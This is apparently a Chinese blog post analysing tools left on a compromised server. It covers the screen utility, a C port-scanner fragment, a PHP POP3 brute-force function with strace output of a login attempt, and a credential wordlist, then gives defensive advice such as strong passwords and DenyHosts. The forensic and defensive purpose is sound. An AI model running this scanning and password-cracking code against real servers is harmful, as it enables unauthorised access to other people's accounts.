引言
最近遇到一個服務器被hack的問題,服務器變成了肉機,不斷嘗試破解其他機器的帳號。下面我們通過分析黑客在服務器上留下的工具,了解入門的hack方法、學習相應的防范措施。
hack工具
hacker登入一台被入侵的服務器,通常首先使用"w"命令查看登陸者信息、使用"passwd"命令修改當前用戶密碼,然后通過wget,獲取提權和其他hack工具。hacker一般將工具解壓到目錄名以"."開頭的目錄中,達到隱藏的效果,以下是此次問題hacker在服務器上留下的“禮物”:
linux:/tmp/.ssh # ll 總計 340 -rw-r--r-- 1 root root 7289 06-03 13:06 pass_file -rwxr-xr-x 1 root root 17274 06-03 13:20 pscan -rw-r--r-- 1 root root 6071 06-03 13:10 pscan.c -rwxr-xr-x 1 root root 302240 06-03 13:06 screen -rw-r--r-- 1 root root 1444 06-03 13:06 sesion.php
下面我們對以上各工具的作用逐一進行分析。
遠程會話管理工具screen
screen主要用於管理多窗口、使進程與原始遠程連接脫離。
多窗口管理
有時我們需要執行一些比較耗時的程序,在這些程序運行結束后,我們才能操作終端。假如在耗時程序運行過程中,還想進行其他操作,那就需要另打開遠程登陸終端。使用screen,可以避免打開多個登陸終端,下面來看使用screen模擬打開多個窗口的方法。
在執行screen程序前,使用"who"命令可以查到A機器上有兩個用戶,分別從本地、遠程登入:
linux:/tmp/.ssh > who lx :0 2012-06-03 10:59 lx pts/0 2012-06-03 13:05 (192.168.1.102)
通過遠程pts/0運行screen后,進入一個新的命令操作窗口,並增加了一個遠程登入:
linux:/tmp/.ssh > who lx :0 2012-06-03 10:59 lx pts/0 2012-06-03 13:05 (192.168.1.102) lx pts/1 2012-06-03 15:40
在screen中,我們可以使用"ctrl+a+c"組合鍵創建新的窗口,使用"ctrl+a+n/p"組合鍵在窗口間來回切換。這樣,當耗時程序被執行時,我們可以新建或切換到其他窗口,進行其他操作。
脫離原始遠程連接
通過遠程終端執行程序,程序尚未退出的情況下關閉遠程連接,那么程序也會跟着中止。這將導致耗時程序尚未完成工作就退出、編輯中尚未保存的文件丟失。使用screen,可以達到進程不隨遠程連接關閉而退出的目的,這也是screen最主要的功能。
在screen窗口下,我們執行一個程序:
linux:/tmp/loop > ./endless_loop
running...
程序執行時,我們將遠程登陸終端關閉,在服務器本地開啟終端,可以看到遠程終端已經關閉:
linux:/tmp/loop > who lx :0 2012-06-03 10:59 lx pts/0 2012-06-03 20:04 (:0.0)
再來查之前通過遠程拉起的endless_loop進程,可以看到其仍在運行,並且screen為其祖先進程:
linux:/tmp/loop > ps -elf | grep endless | grep -v grep 0 R lx 4851 4586 99 80 0 - 926 - 20:24 pts/1 00:00:32 ./endless_loop linux:/tmp/loop > ps -elf | grep 4586 | grep -v endless | grep -v grep 0 S lx 4586 4585 0 80 0 - 4193 wait 20:02 pts/1 00:00:00 /bin/bash linux:/tmp/loop > ps -elf | grep 4585 | grep -v grep | grep -v 4586 1 S lx 4585 1 0 80 0 - 1036 - 20:02 ? 00:00:00 ./SCREEN
關於screen的更詳細資料,可以參看這里。
暴力破解帳號
hacker費時費力入侵服務器,當然不會無欲無求,入侵服務器后,hacker要不獲取服務器上的資料信息,要不就是將服務器變成肉機,用其破解更多服務器的帳號。暴力破解服務器帳號需要通過某一系統服務,例如pop3、ssh、telnet等,其過程可以分解為兩個步驟:
- 掃描服務器某系統服務的端口(例如pop3使用110端口,ssh使用22端口)
- 對已開放端口的服務器進行密碼破解
端口掃描程序
pscan是一個端口掃描程序,pscan.c是相應的源碼。端口掃描功能的實現並不復雜,首先分配socket描述符,用目標ip、端口號填充類型為sockaddr_in的結構:
connlist[i].s = socket(AF_INET, SOCK_STREAM, 0); fcntl(connlist[i].s, F_SETFL, O_NONBLOCK); connlist[i].addr.sin_addr.s_addr = inet_addr(ip); connlist[i].addr.sin_family = AF_INET; connlist[i].addr.sin_port = htons(atoi(argv[2]));
然后調用connect函數嘗試建立連接:
ret = connect(connlist[i].s, (struct sockaddr *)&connlist[i].addr, sizeof(struct sockaddr_in)); if (ret == -1) { if (errno == EISCONN) { //端口打開 fprintf(outfd, "%s\n", (char *)inet_ntoa(connlist[i].addr.sin_addr)); } if ((errno != EALREADY) && (errno != EINPROGRESS)) {
//對端端口為關閉狀態 } } else{ //端口打開
fprintf(outfd, "%s\n",
(char *)inet_ntoa(connlist[i].addr.sin_addr));
}
通過判斷connect函數的返回值可知對端服務器端口是否開啟,將掃描到的開放端口的服務器ip地址寫入文件。
密碼破解
記錄下已開放端口的服務器ip地址后,破解程序將再次與這些ip地址對應的服務器進行連接,嘗試用大量用戶名/密碼組合進行系統服務鑒權。文章開頭的sesion.php即是破解pop3帳號用的php腳本,pass_file文件每一列對應一組用戶名、密碼。
各個系統服務(pop3、telnet、ssh等)使用的鑒權方法不同,破解程序的具體實現方法就各異,相對而言,pop3暴力破解程序的實現比較簡單:
function POPa($username, $password, $server) { $socket = fsockopen($server, 110); // POP3 port if (!$socket) {
return "cracked"; } $res = fgets($socket, 512); // read +OK if (substr(trim($res), 0, 3) != "+OK") {
return "cracked"; // return the error } fputs($socket, "USER $username\r\n"); // send user $res = fgets($socket, 512); // read +OK if (substr(trim($res), 0, 3) != "+OK") {
return "cracked"; } fputs($socket, "PASS $password\r\n"); // send pass $res = fgets($socket, 512); // read +OK if (substr(trim($res), 0, 3) != "+OK") { return $res; } $fp = fopen("vuln.txt", "a"); fwrite($fp, " $server $username $password\r\n"); }
首先使用fsockopen函數與對端建立連接,然后向對端發送用戶名、密碼。若發送密碼之后,收到的回應中頭三個字符為"+OK",即表示鑒權成功,相應的用戶名、密碼為對端pop3服務器的一個帳號。鑒權成功后,我們把對端ip、用戶名和密碼記錄在vuln.txt文件中。
使用strace對以上密碼破解程序進行跟蹤,從輸出結果中,我們能更清晰地了解兩台機器間的交互過程:
socket(PF_INET, SOCK_STREAM, IPPROTO_IP) = 3 fcntl(3, F_GETFL) = 0x2 (flags O_RDWR) fcntl(3, F_SETFL, O_RDWR|O_NONBLOCK) = 0 connect(3, {sa_family=AF_INET, sin_port=htons(110), sin_addr=inet_addr("213.8.54.xx")}, 16) = -1 EINPROGRESS (Operation now in progress) poll([{fd=3, events=POLLIN|POLLOUT|POLLERR|POLLHUP}], 1, 60000) = 1 ([{fd=3, revents=POLLOUT}]) getsockopt(3, SOL_SOCKET, SO_ERROR, [0], [4]) = 0 fcntl(3, F_SETFL, O_RDWR) = 0 poll([{fd=3, events=POLLIN|POLLERR|POLLHUP}], 1, 60000) = 1 ([{fd=3, revents=POLLIN}]) recvfrom(3, "+OK Microsoft Exchange Server 20"..., 8192, MSG_DONTWAIT, NULL, NULL) = 99 sendto(3, "USER dennis\r\n", 13, MSG_DONTWAIT, NULL, 0) = 13 poll([{fd=3, events=POLLIN|POLLERR|POLLHUP}], 1, 60000) = 1 ([{fd=3, revents=POLLIN}]) recvfrom(3, "+OK\r\n", 8192, MSG_DONTWAIT, NULL, NULL) = 5 sendto(3, "PASS dennis\r\n", 13, MSG_DONTWAIT, NULL, 0) = 13 poll([{fd=3, events=POLLIN|POLLERR|POLLHUP}], 1, 60000) = 1 ([{fd=3, revents=POLLIN}]) recvfrom(3, "+OK User successfully logged on."..., 8192, MSG_DONTWAIT, NULL, NULL) = 34 sendto(3, "QUIT\r\n", 6, MSG_DONTWAIT, NULL, 0) = 6
一點啟示
人在江湖漂,難免不中招。為防范hacker入侵,我們可以事先做好哪些工作呢?
設定復雜的密碼
我們看下pass_file文件的內容,看hacker嘗試用哪些用戶名/密碼破解服務器帳號:
⋯⋯ michelle michelle nobody nobody Administrator 123456 qwerty qwerty backup backup info test12345 shop shop sales sales
可見,密碼不能設置得與用戶名相同,也不能設為"123456"、"test12345"這類簡單的密碼。
限制端口開放
hacker大多通過服務器開放的端口進行入侵,這就要求我們對端口進行嚴格的管理。像telnet這樣用的比較少又不安全的服務,大多數服務器都應該將其關閉;像ftp這類服務,可以用到的時候再開啟,用后及時關閉。
使用第三方工具阻擋攻擊
像以上類型的暴力攻擊,成千上萬次地使用不同帳號進行鑒權,是否可以設定允許的鑒權嘗試次數,超過設定的次數,服務器則將拒絕來訪ip的連接?
有一些工具幫我們實現了以上功能,例如DenyHosts這個工具,DenyHosts通過分析sshd進程的日志文件,發現多次失敗登陸記錄時,會將來訪ip記錄到/etc/hosts.deny文件,屏蔽來訪ip,從而達到阻擋ssh暴力攻擊的效果。
小結
本文介紹了hacker常用工具screen的用法,端口掃描程序的實現,暴力破解帳號的入門方法,最后講了下防范暴力破解的幾點防范措施。
變成肉機的服務器7*24h不停地對各個網段掃描、破解帳號,因而中招的幾率還是很大的,做好防范措施,不能掉以輕心咯。
Reference: Analysis of a Hack